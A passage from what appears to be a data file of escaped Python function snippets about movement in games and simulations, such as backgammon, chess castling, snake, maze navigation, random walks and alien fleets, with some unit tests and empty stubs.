x:abs(x-event.x+click_offset[0]))) \\n #Check legality\\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\\n draw_draughts()\\n return\\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\\n draw_draughts()\\n return\\n if(new_point == 0 and not is_red): #if white trying to bear off\\n for i in xrange(7,26):\\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\\n draw_draughts()\\n return\\n if(new_point == 25 and is_red): #if red trying to bear off\\n for i in xrange(0,18):\\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\\n draw_draughts()\\n return \\n \\n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\\n if(doubles == False) or (die_2_num != 0):\\n die_1_num = 0\\n else: \\n die_2_num = die_1_num\\n doubles = False\\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\\n if(doubles == False) or (die_1_num != 0):\\n die_2_num = 0\\n else: \\n die_1_num = die_2_num\\n doubles = False\\n else: #Can't move there on this roll\\n draw_draughts()\\n return\\n update_dice()\\n #Update board_array\\n if is_red:\\n board_array[old_point][0] -= 1\\n board_array[new_point][0] += 1\\n if(board_array[new_point][1] == 1): #Handle hits\\n board_array[new_point][1] -= 1\\n board_array[25][1] += 1\\n else:\\n board_array[old_point][1] -= 1\\n board_array[new_point][1] += 1\\n if(board_array[new_point][0] == 1): #Handle hits\\n board_array[new_point][0] -= 1\\n board_array[0][0] += 1\\n\\n draw_draughts()\\n if(die_1_num == 0 and die_2_num == 0):\\n comp_turn()\",\n \"def shift_board(self, dx, dy):\\n super().shift_board(dx, dy)\\n self.goals = np.roll(self.goals, dy, axis=0)\\n self.goals = np.roll(self.goals, dx, axis=1)\",\n \"def moveEast(self):\\n east = (self.current[0] + 1, self.current[1])\\n mv = self.lab.east()\\n self.check_grue(mv)\\n self.current = east\\n self.visited.add(self.current)\",\n \"def moveEast(self):\\n self._move('e', Tile.HorizontalDifference)\",\n \"def move(self):\\n if self.adjustment > 0:\\n # The player moves up a ladder\\n old_position = self.position\\n # In the next move, player on top of ladder\\n\\n self.position = old_position - self.dropped_steps\\n # player drops steps\\n super().move()\\n # player move\\n die = self.position - old_position + self.dropped_steps - \\\\\\n self.adjustment\\n \\\"\\\"\\\" \\n the current position of the player is: old position - \\n dropped_steps + die + adjustment. Rearranging to find the die.\\n \\n \\\"\\\"\\\"\\n if die < self.dropped_steps:\\n self.position = old_position\\n # if die is less than dropped_steps, the player will stand still.\\n else:\\n super().move()\\n # if not climbling a ladder, then the player make a regular move\",\n \"def fireEast(self):\\n self.rotate('e')\\n gun = Laser(self)\\n gun.shoot('e')\\n self.agent.actionCompleted()\",\n \"def move_south(self):\\r\\n self.move(dx=0, dy=1)\",\n \"def move(self):\\n # neighbor offsets\\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\\n for i in range(len(offset)):\\n x = self.x + offset[i][0] # neighboring coordinates\\n y = self.y + offset[i][1]\\n if self.island.animal(x, y) == 0: # neighboring spot is open\\n self.island.remove(self) # remove from current spot\\n self.x = x # new coordinates\\n self.y = y\\n self.island.register(self) # register new coordinates\\n break # finished with move\",\n \"def move(self):\\n # neighbor offsets\\n offset = [(-1, 1),(0, 1),(1, 1),(-1, 0),(1, 0),(-1, -1),(0, -1),(1, -1)]\\n for i in range(len(offset)):\\n x = self.x + offset[i][0] # neighboring coordinates\\n y = self.y + offset[i][1]\\n if self.island.animal(x, y) == 0: # neighboring spot is open\\n self.island.remove(self) # remove from current spot\\n self.x = x # new coordinates\\n self.y = y\\n self.island.register(self) # register new coordinates\\n break # finished with move\",\n \"def move(self):\\n if self._z >= 75:\\n a = random.random()\\n print(str(a))\\n if a < 0.2:\\n self._z += 1\\n if a > 0.2 and a < 0.9:\\n self._z -= 1\\n if a > 0.9:\\n self._z = self._z\\n else: \\n self._z -= 1\\n \\n b = random.random()\\n print(str(b))\\n if b < 0.1:\\n self._y += 1\\n if b > 0.1 and b < 0.2:\\n self._y -= 1\\n if b > 0.2 and b < 0.25:\\n self._x -= 1\\n if b > 0.25:\\n self._x += 1\",\n \"def do_west(self, arg):\\r\\n moveDirection('west')\",\n \"def move(self):\\n pass\",\n \"def move_west(self):\\r\\n self.move(dx=-1, dy=0)\",\n \"def migration(self):\\n\\n coordinates = self.get_random_coordinates()\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cell_move_herbivores(coordinate)\\n self.cell_move_carnivores(coordinate)\\n\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cells[coordinate].move_new_animals()\",\n \"def move_south(self):\\n self.vertical = (self.vertical * 2)[3:7]\\n self.horizontal[1] = self.vertical[0]\\n self.horizontal[3] = self.vertical[2]\",\n \"def move_down():\\n return __maze.move_down()\",\n \"def moveSouth(self):\\n self._move('s', Tile.VerticalDifference)\",\n \"def move(self):\\n self.pos += self.direc\\n self.nearest_node = self.pixel_to_node()\",\n \"def move(self):\\n x = y = z = 0.0\\n for cell in self.cells:\\n x += (cell.x)#*n\\n y += (cell.y)#*n\\n z += (cell.z)#*n\\n np = float(len(self.cells))\\n med = numpy.array([x/np,y/np,z/np])\\n \\n dists = []\\n for cell in self.cells:\\n d = (cell.x-self.x)**2+(cell.y-self.y)**2+(cell.z-self.z)**2\\n d = numpy.sqrt(d)\\n dists.append(d)\\n #md = (cell.x-med[0])**2+(cell.y-med[1])**2+(cell.z-med[2])**2\\n #dists[-1] = (dists[-1]+md)/2\\n cell = self.cells[numpy.argmin(dists)]\\n cc = numpy.array([cell.x, cell.y, cell.z])\\n \\n t = self.t\\n if abs(self.dnp) * ( self.np-self.np_req) > 0:\\n t = self.tr\\n self.dcenter = (1-t)*(med-self.center + self.u*(cc-med))\\n self.x,self.y,self.z = self.center = self.center + self.dcenter\",\n \"def steerright(self):\\n self.direction = self.direction-self.steering\\n if self.direction < 0:\\n self.direction = 360-90\\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)\",\n \"def move_west(self):\\n self.horizontal = (self.horizontal * 2)[1:5]\\n self.vertical[0] = self.horizontal[1]\\n self.vertical[2] = self.horizontal[3]\",\n \"def turn(self):\\r\\n # 1 throw the dice\\r\\n if (\\r\\n not self.player_list[self.current_player].is_in_jail()\\r\\n or self.try_leave_jail()\\r\\n ):\\r\\n thr = Throw()\\r\\n while thr is not None:\\r\\n # check in where the current player will land\\r\\n new_position = self.compute_new_position_from_dice(\\r\\n self.current_player, thr\\r\\n )\\r\\n self.move_player_to(self.current_player, new_position, thr=thr)\\r\\n\\r\\n if thr.is_double():\\r\\n thr = Throw()\\r\\n else:\\r\\n thr = None\\r\\n print(\\\"------------------------------\\\")\\r\\n\\r\\n self.player_observable_variables()\\r\\n\\r\\n # move turn to next player\\r\\n self.current_player += 1\\r\\n if self.current_player >= len(self.player_list):\\r\\n self.current_player = 0\\r\\n self.full_turn_count += 1\\r\\n print(\\\"**********************\\\")\\r\\n print(\\r\\n \\\"Full turn:\\\",\\r\\n self.full_turn_count,\\r\\n \\\"\\\\n\\\",\\r\\n \\\"\\\\n\\\".join(map(lambda x: x.full(), self.player_list)),\\r\\n )\\r\\n print(\\\"**********************\\\")\",\n \"def make_move(self, move):\\n self.board[int(move) - 1] = self.nplayer\",\n \"def move_tie_fighters(self):\\n for i in range(len(self.tie_fighters)):\\n self.tie_fighters[i].move_tie_fighter()\",\n \"def move_marble(self, coordinates, direction):\\n pass\",\n \"def move_of_king_and_rook(self, from_row, from_col, to_row, to_col): \\n #provjere da li su kraljevi ili topovi inicirali pomijeranje\\n if(from_row == 7 and from_col == 0):\\n self.wrl_moved = True\\n elif(from_row == 7 and from_col == 7):\\n self.wrr_moved = True\\n elif(from_row == 7 and from_col == 4):\\n self.wk_moved = True\\n elif(from_row == 0 and from_col == 0):\\n self.brl_moved = True\\n elif(from_row == 0 and from_col == 7):\\n self.brr_moved = True\\n elif(from_row == 0 and from_col == 4):\\n self.bk_moved = True\\n \\n #provjera da li je neko pojeo topove\\n if(to_row == 7 and to_col == 0):\\n self.wrl_moved = True\\n elif(to_row == 7 and to_col == 7):\\n self.wrr_moved = True\\n elif(to_row == 0 and to_col == 0):\\n self.brl_moved = True\\n elif(to_row == 0 and to_col == 7):\\n self.brr_moved = True\",\n \"def make_move(self, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\\r\\n return height, index\\r\\n else:\\r\\n while not self.stat_brain.is_valid(height, index, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n return height, index\",\n \"def move(self):\\n assert self.is_alive, \\\"Sprite is dead, and should not be able to move\\\"\\n if self.health > 3:\\n self.y += random.randint(-1, 1) # change by -1, 0, 1\\n self.x += random.randint(-1, 1) # change by -1, 0, 1\\n print(self.name, \\\"moves to position\\\", str(self.x), \\\",\\\", str(self.y))\",\n \"def _move_randomly(self):\\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\\n wiz1, wiz2 = self.state[a], self.state[b]\\n self._swap_wizards(wiz1, wiz2)\",\n \"def move(self):\\n self._move_range_shuffle(3)\\n self._move_satisfy_random_constraint()\\n # self._move_range_shuffle(3)\\n #if (curr_energy > 50):\\n # self._move_satisfy_random_constraint()\\n #else:\\n # self._move_range_shuffle(3)\",\n \"def do_south(self, arg):\\r\\n moveDirection('south')\",\n \"def move(self, direction):\\n newx = self.x\\n newy = self.y\\n newy += random.randint(-1, 1)\\n newx += random.randint(-1, 1)\\n if self.tmap.contents[newy][newx] != '#':\\n self.x = newx\\n self.y = newy\",\n \"def move_lift_ground():\\n return _move_lift(0)\",\n \"def move(x,y):\\r\\n pass\",\n \"def move(self, dx, dy):\\r\\n self.corner.x += dx\\r\\n self.corner.y += dy\",\n \"def move_repeatedly():\\n check = check50.run(run_command)\\n check.stdin(\\\"WEST\\\").stdout(room_2_description)\\n check.stdin(\\\"EAST\\\").stdout(room_1_name)\\n check.stdin(\\\"WEST\\\").stdout(room_2_name)\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, dx, dy):\\n self.corner.x += dx\\n self.corner.y += dy\",\n \"def move(self, direction: str) -> int:\\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\\n # print(x,y)\\n # went out bound\\n if x >= self.n or y >= self.m or x < 0 or y < 0:\\n return -1\\n tail = self.snake.popleft()\\n self.snake_set.discard(tail)\\n if (x, y) in self.snake_set:\\n return -1\\n\\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\\n self.food.popleft()\\n self.snake.appendleft(tail)\\n self.snake_set.add(tail)\\n self.snake.append((x, y))\\n self.snake_set.add((x, y))\\n\\n return len(self.snake) - 1\",\n \"def moveSouth(self):\\n south = (self.current[0], self.current[1] + 1)\\n mv = self.lab.south()\\n self.check_grue(mv)\\n self.current = south\\n self.visited.add(self.current)\",\n \"def test_move_onto_terrain(self):\\n # move onto Water (1 extra)\\n b1 = board.Board(self.small_ter)\\n start = np.array((0, 3), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 2\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 2)\\n\\n # move onto Lava (4 extra)\\n start = np.array((3, 4), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 0\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 5)\\n\\n # move onto Barrier (illegal)\\n start = np.array((1, 4), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 1\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertFalse(isvalid)\\n\\n # move onto Rock (illegal)\\n start = np.array((1, 0), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 7\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertFalse(isvalid)\",\n \"def fireSouth(self):\\n self.rotate('s')\\n gun = Laser(self)\\n gun.shoot('s')\\n self.agent.actionCompleted()\",\n \"def move_north(self):\\r\\n self.move(dx=0, dy=-1)\",\n \"def _change_fleet_direction(self): \\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def move_to_position2(self):\",\n \"def move_all_animals(self):\\n\\n y_lim, x_lim = np.shape(self.map)\\n for y in range(y_lim):\\n for x in range(x_lim):\\n loc = y, x\\n self.map[loc].migration(self.get_neighbour((y, x)))\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor auto in self.autos.sprites():\\n\\t\\t\\tauto.rect.y -= self.settings.fleet_rise_speed\\n\\t\\tself.settings.fleet_direction *= -1\",\n \"def jump(self):\\r\\n if self.grounded == True:\\r\\n self.vel.y = -13\",\n \"def hanoi_tower(n):\\n def move_tower(height, from_pole, to_pole, with_pole):\\n if height >= 1:\\n move_tower(height-1, from_pole, with_pole, to_pole)\\n move_disc(from_pole, to_pole, height)\\n move_tower(height-1, with_pole, to_pole, from_pole)\\n\\n def move_disc(fp, tp, height):\\n tp.append(fp.pop())\\n show_poles()\\n\\n def show_poles():\\n line = \\\"\\\"\\n line += '{:<{}s}'.format(str(a), str_len)\\n line += '{:<{}s}'.format(str(b), str_len)\\n line += '{:<{}s}'.format(str(c), str_len)\\n print(line)\\n\\n a = list(range(n, 0, -1))\\n b = []\\n c = []\\n str_len = len(str(a))\\n\\n show_poles()\\n move_tower(n, a, c, b)\\n print('\\\\n')\",\n \"def move_down(self):\\n if self.center.y > (self.height / 2):\\n self.center.y -= 5\",\n \"def movev2(self, abz_increase, abz_decrease, bbz_increase, bbz_decrease, north, south, west):\\n if self._z >= 75:\\n a = random.randint(1, 100)\\n# print(str(a))\\n if a <= abz_increase:\\n self._z += 1\\n if a > abz_increase and a <= (abz_increase + abz_decrease):\\n self._z -= 1\\n if a > (abz_increase + abz_decrease):\\n self._z = self._z\\n else:\\n c = random.randint(1, 100)\\n# print(str(c))\\n if c <= bbz_increase:\\n self._z += 1\\n if c > bbz_increase and c <= (bbz_increase + bbz_decrease):\\n self._z -= 1\\n if c > (bbz_increase + bbz_decrease):\\n self._z = self._z\\n self._z -= 1\\n \\n b = random.randint(1, 100)\\n# print(str(b))\\n if b <= north:\\n self._y += 1\\n if b > north and b <= (north + south):\\n self._y -= 1\\n if b > (north + south) and b <= (north + south + west):\\n self._x -= 1\\n if b > (north + south + west):\\n self._x += 1\",\n \"def move(self):\\n \\n # checks for bots nearby\\n next_move = self.follow()\\n \\n # finds a random move if no bot\\n if next_move is self.position:\\n self.position = self.wander()\\n else:\\n self.position = next_move\",\n \"def fireWest(self):\\n self.rotate('w')\\n gun = Laser(self)\\n gun.shoot('w')\\n self.agent.actionCompleted()\",\n \"def movement(self):\",\n \"def AeroMove(self, pos):\\r\\n\\r\\n pass\",\n \"def _move_tetrino(self, tetrino, x, y):\\n tetrino.location_offset[constant.X] += x\\n tetrino.location_offset[constant.Y] += y\\n tetrino.update_location()\",\n \"def move(t, length):\\n pu(t)\\n\\t\\n fd(t, length)\\n pd(t)\",\n \"def move_up():\\n return __maze.move_up()\",\n \"def move(self):\\n \\n self.position = self.explore()\",\n \"def move_to_position1(self):\",\n \"def make_turn(self):\\n # if play first, start in the middle\\n if np.count_nonzero(self.board) == 0:\\n self.place_disc(self.board.shape[1] / 2)\\n return 1\\n\\n\\n # win if possible\\n for try_column in range(0,self.board.shape[1]):\\n if 0 == self.board[0, try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't loose if in danger\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't fall in trap!\\n forbidden_columns = []\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # don't ruin my trap\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # allow forbidden_columns if no other choice\\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\\n forbidden_columns = []\\n\\n # otherwise, play randomly\\n rannum = random.randrange(7)\\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\\n rannum = random.randrange(7)\\n self.place_disc(rannum)\\n return 1\",\n \"def moveWest(self):\\n self._move('w', - Tile.HorizontalDifference)\",\n \"def test_move_over_terrain(self):\\n # move over Water (0 extra)\\n b1 = board.Board(self.small_ter)\\n start = np.array((0, 1), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 1\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 1)\\n #\\n # move over Lava (0 extra)\\n start = np.array((5, 4), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 6\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 1)\\n #\\n # move over Barrier (illegal)\\n start = np.array((2, 3), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 0\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertFalse(isvalid)\\n #\\n # move over Rock (0 extra)\\n start = np.array((2, 3), dtype='int')\\n k1 = knight.Knight(b1, start)\\n # set move choice\\n move_choice = 2\\n # determine move validity and cost\\n (cost, isvalid) = k1.validate_move(move_choice)\\n self.assertTrue(isvalid)\\n self.assertEqual(cost, 1)\",\n \"def move(self, row, col, player):\",\n \"def make_move(self, direction):\\r\\n\\t\\tif direction == 0:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x -= 1\\r\\n\\r\\n\\t\\telif direction == 1:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y += 1\\r\\n\\r\\n\\t\\telif direction == 2:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.x += 1\\r\\n\\r\\n\\t\\telif direction == 3:\\r\\n\\t\\t\\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\\r\\n\\t\\t\\tself.y -= 1\",\n \"def turn_ship_right(self):\\n self.degrees -= movement\",\n \"def move_north(self):\\n self.vertical = (self.vertical * 2)[1:5]\\n self.horizontal[1] = self.vertical[0]\\n self.horizontal[3] = self.vertical[2]\",\n \"def _move_down(self):\\n new_pos = self._pos + _Vec3(0, -1, 0)\\n block_ = self._get_block(new_pos)\\n if block_ != _WATER:\\n self._add_to_inv(block_)\\n self._move(new_pos)\",\n \"def _change_fleet_direction(self):\\n\\t\\tfor alien in self.aliens.sprites():\\n\\t\\t\\talien.rect.y += self.settings.fleet_drop_speed\\n\\t\\tself.settings.fleet_direction*=-1\",\n \"def move_draught(event):\\n global red_turn\\n if(red_turn == False):\\n return\\n draught = board.find_withtag(CURRENT)[0]\\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)\",\n \"def move_to(self, x, y):\\r\\n self.__current_room = x, y\",\n \"def moveNorth(self):\\n self._move('n', - Tile.VerticalDifference)\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def _change_fleet_direction(self):\\n for alien in self.aliens.sprites():\\n alien.rect.y += self.settings.fleet_drop_speed\\n self.settings.fleet_direction *= -1\",\n \"def move(event):\\r\\n\\t\\tif event.char == \\\"a\\\":\\r\\n\\t\\t\\tcanvas.move(z[a], -10, 0)\\r\\n\\t\\telif event.char == \\\"d\\\":\\r\\n\\t\\t\\tcanvas.move(z[a], 10, 0)\\r\\n\\t\\telif event.char == \\\"w\\\":\\r\\n\\t\\t\\tcanvas.move(z[a], 0, -10)\\r\\n\\t\\telif event.char == \\\"s\\\":\\r\\n\\t\\t\\tcanvas.move(z[a], 0, 10)\",\n \"def domove(self, depart, arrivee, promote):\\n\\n # Debugging tests\\n # if(self.cases[depart].isEmpty()):\\n # print('domove() ERROR : asked for an empty square move : ',depart,arrivee,promote)\\n # return \\n # if(int(depart)<0 or int(depart)>63):\\n # print('domove() ERROR : incorrect FROM square number : ',depart)\\n # return \\n # if(int(arrivee)<0 or int(arrivee)>63):\\n # print('domove() ERROR : incorrect TO square number : ',arrivee)\\n # return\\n # if(not(promote=='' or promote=='q' or promote=='r' or promote=='n' or promote=='b')):\\n # print('domove() ERROR : incorrect promote : ',promote)\\n # return\\n\\n # Informations to save in the history moves\\n pieceDeplacee = self.cases[depart] # moved piece\\n piecePrise = self.cases[arrivee] # taken piece, can be null : Piece()\\n isEp = False # will be used to undo a ep move\\n histEp = self.ep # saving the actual ep square (-1 or square number TO)\\n hist_roque_56 = self.white_can_castle_56\\n hist_roque_63 = self.white_can_castle_63\\n hist_roque_0 = self.black_can_castle_0\\n hist_roque_7 = self.black_can_castle_7\\n flagViderEp = True # flag to erase ep or not : if the pawn moved is not taken directly, it can't be taken later\\n\\n # Moving piece\\n self.cases[arrivee] = self.cases[depart]\\n self.cases[depart] = Piece()\\n\\n self.ply += 1\\n\\n # a PAWN has been moved -------------------------------------\\n if (pieceDeplacee.nom == 'PION'):\\n\\n # White PAWN\\n if (pieceDeplacee.couleur == 'blanc'):\\n\\n # If the move is \\\"en passant\\\"\\n if (self.ep == arrivee):\\n piecePrise = self.cases[arrivee + 8] # take black pawn\\n self.cases[arrivee + 8] = Piece()\\n isEp = True\\n\\n # The white pawn moves 2 squares from starting square\\n # then blacks can take \\\"en passant\\\" next move\\n elif (self.ROW(depart) == 6 and self.ROW(arrivee) == 4):\\n self.ep = arrivee + 8\\n flagViderEp = False\\n\\n # Black PAWN\\n else:\\n\\n if (self.ep == arrivee):\\n piecePrise = self.cases[arrivee - 8]\\n self.cases[arrivee - 8] = Piece()\\n isEp = True\\n\\n elif (self.ROW(depart) == 1 and self.ROW(arrivee) == 3):\\n self.ep = arrivee - 8\\n flagViderEp = False\\n\\n # a ROOK has been moved--------------------------------------\\n # update castle rights\\n\\n elif (pieceDeplacee.nom == 'TOUR'):\\n\\n # White ROOK\\n if (pieceDeplacee.couleur == 'blanc'):\\n if (depart == 56):\\n self.white_can_castle_56 = False\\n elif (depart == 63):\\n self.white_can_castle_63 = False\\n\\n # Black ROOK\\n else:\\n if (depart == 0):\\n self.black_can_castle_0 = False\\n elif (depart == 7):\\n self.black_can_castle_7 = False\\n\\n # a KING has been moved-----------------------------------------\\n\\n elif (pieceDeplacee.nom == 'ROI'):\\n\\n # White KING\\n if (pieceDeplacee.couleur == 'blanc'):\\n\\n # moving from starting square\\n if (depart == 60):\\n # update castle rights\\n self.white_can_castle_56 = False\\n self.white_can_castle_63 = False\\n\\n # If castling, move the rook\\n if (arrivee == 58):\\n self.cases[56] = Piece()\\n self.cases[59] = Piece('TOUR', 'blanc')\\n\\n elif (arrivee == 62):\\n self.cases[63] = Piece()\\n self.cases[61] = Piece('TOUR', 'blanc')\\n\\n # Black KING\\n else:\\n\\n if (depart == 4):\\n self.black_can_castle_0 = False\\n self.black_can_castle_7 = False\\n\\n if (arrivee == 6):\\n self.cases[7] = Piece()\\n self.cases[5] = Piece('TOUR', 'noir')\\n\\n elif (arrivee == 2):\\n self.cases[0] = Piece()\\n self.cases[3] = Piece('TOUR', 'noir')\\n\\n # End pieces cases-----------------------------------------------\\n\\n # Any move cancels the ep move\\n if (flagViderEp == True):\\n self.ep = -1\\n\\n # Promote : the pawn is changed to requested piece\\n if (promote != ''):\\n if (promote == 'q'):\\n self.cases[arrivee] = Piece('DAME', self.side2move)\\n elif (promote == 'r'):\\n self.cases[arrivee] = Piece('TOUR', self.side2move)\\n elif (promote == 'n'):\\n self.cases[arrivee] = Piece('CAVALIER', self.side2move)\\n elif (promote == 'b'):\\n self.cases[arrivee] = Piece('FOU', self.side2move)\\n\\n # Change side to move\\n self.changeTrait()\\n\\n # Save move to the history list\\n self.history.append((depart, \\\\\\n arrivee, \\\\\\n pieceDeplacee, \\\\\\n piecePrise, \\\\\\n isEp, \\\\\\n histEp, \\\\\\n promote, \\\\\\n hist_roque_56, \\\\\\n hist_roque_63, \\\\\\n hist_roque_0, \\\\\\n hist_roque_7))\\n\\n # If the move lets king in check, undo it and return false\\n if (self.in_check(self.oppColor(self.side2move))):\\n self.undomove()\\n return False\\n\\n return True\",\n \"def walk(self):\\n # === Choose direction ===\\n # Increase probability of movement relative to map dimensions\\n v_move = self.width / self.height\\n h_move = self.height / self.width\\n north, south, east, west = v_move, v_move, h_move, h_move\\n\\n # Weight the random walk against the edges\\n if self.drunkard_x < self.width * 0.25: # far left side of map\\n east += self.weighted_toward_center\\n elif self.drunkard_x > self.width * 0.75: # far right side of map\\n west += self.weighted_toward_center\\n if self.drunkard_y < self.height * 0.25: # top of the map\\n south += self.weighted_toward_center\\n elif self.drunkard_y > self.height * 0.75: # bottom of the map\\n north += self.weighted_toward_center\\n\\n # Weight in favor of the previous direction\\n if self._prev_direction == \\\"north\\\":\\n north += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"south\\\":\\n south += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"east\\\":\\n east += self.weighted_toward_prev_direction\\n if self._prev_direction == \\\"west\\\":\\n west += self.weighted_toward_prev_direction\\n\\n weights = [south, north, east, west]\\n moves = {\\\"south\\\": (0, 1), \\\"north\\\": (0, -1), \\\"east\\\": (1, 0), \\\"west\\\": (-1, 0)}\\n\\n direction = choices(list(moves.keys()), weights)[0]\\n dx, dy = moves[direction]\\n\\n # === Walk ===\\n # check collision at edges\\n if (1 < self.drunkard_x + dx < self.width - 1) and (1 < self.drunkard_y + dy < self.height - 1):\\n self.drunkard_x += dx\\n self.drunkard_y += dy\\n if self.tiles[self.drunkard_x][self.drunkard_y]:\\n self.tiles[self.drunkard_x][self.drunkard_y].carve()\\n self._tiles_filled += 1\\n self._prev_direction = direction\",\n \"def force_move():\\n if ZERO_BASE_PLYR_POS in range(0, 10):\\n # we cant go up, so go down\\n move_player(\\\"south\\\")\\n else:\\n move_player(\\\"north\\\")\",\n \"def turn_right(self):\\n self.facing_direction += self.config\\n if self.facing_direction > 7:\\n self.facing_direction -= 8\\n self.x, self.y = self.compute_positions()\",\n \"def move(self, direction):\\n # replace with your code\\n pass\",\n \"def move(self, direction):\\n # replace with your code\\n pass\",\n \"def move_random(self, board: Board) -> None:\\n rnd_move_idx = randint(0,4)\\n # moves: stay, up, left, right, down\\n moves = [[0,0], [0,-1], [-1,0], [1,0], [0,1]]\\n\\n if board.can_position_at(self.x + moves[rnd_move_idx][0], self.y + moves[rnd_move_idx][1]):\\n board.set_element_at_position(0, self.x, self.y)\\n self.x += moves[rnd_move_idx][0]\\n self.y += moves[rnd_move_idx][1]\\n board.set_element_at_position(3, self.x, self.y)\\n print(\\\"Bomberman moved to [\\\", self.x, \\\",\\\", self.y, \\\"]\\\")\",\n \"def move(self, direction: str) -> int:\\n (i, j), _ = self.position.popitem(last=True) # current position\\n self.position[(i, j)] = 0 # add back \\n if direction == \\\"U\\\": i -= 1\\n elif direction == \\\"L\\\": j -= 1\\n elif direction == \\\"R\\\": j += 1\\n else: i += 1\\n if self.food and self.food[0] == [i, j]: self.food.popleft()\\n else: self.position.popitem(last=False)\\n if not (0 <= i < self.height and 0 <= j < self.width) or (i, j) in self.position: return -1 # game over \\n self.position[(i, j)] = 0\\n return len(self.position)-1\",\n \"def moveDown():\\n tt.right(90)\\n tt.forward(60)\\n tt.right(90)\\n tt.forward(250)\\n tt.right(180)\",\n \"def move (self):\\n\\t\\tself.x += self.direction[0]\\n\\t\\tself.y += self.direction[1]\\n\\t\\tself.row = (self.y - 15) / 30\\n\\t\\tself.col = (self.x - 15) / 30\\n\\t\\tself.rowcol = (self.row,self.col)\\n\\t\\tself.draw()\",\n \"def step(self, move):\",\n \"def go_up(self):\\n\\t\\tself.x,self.y = 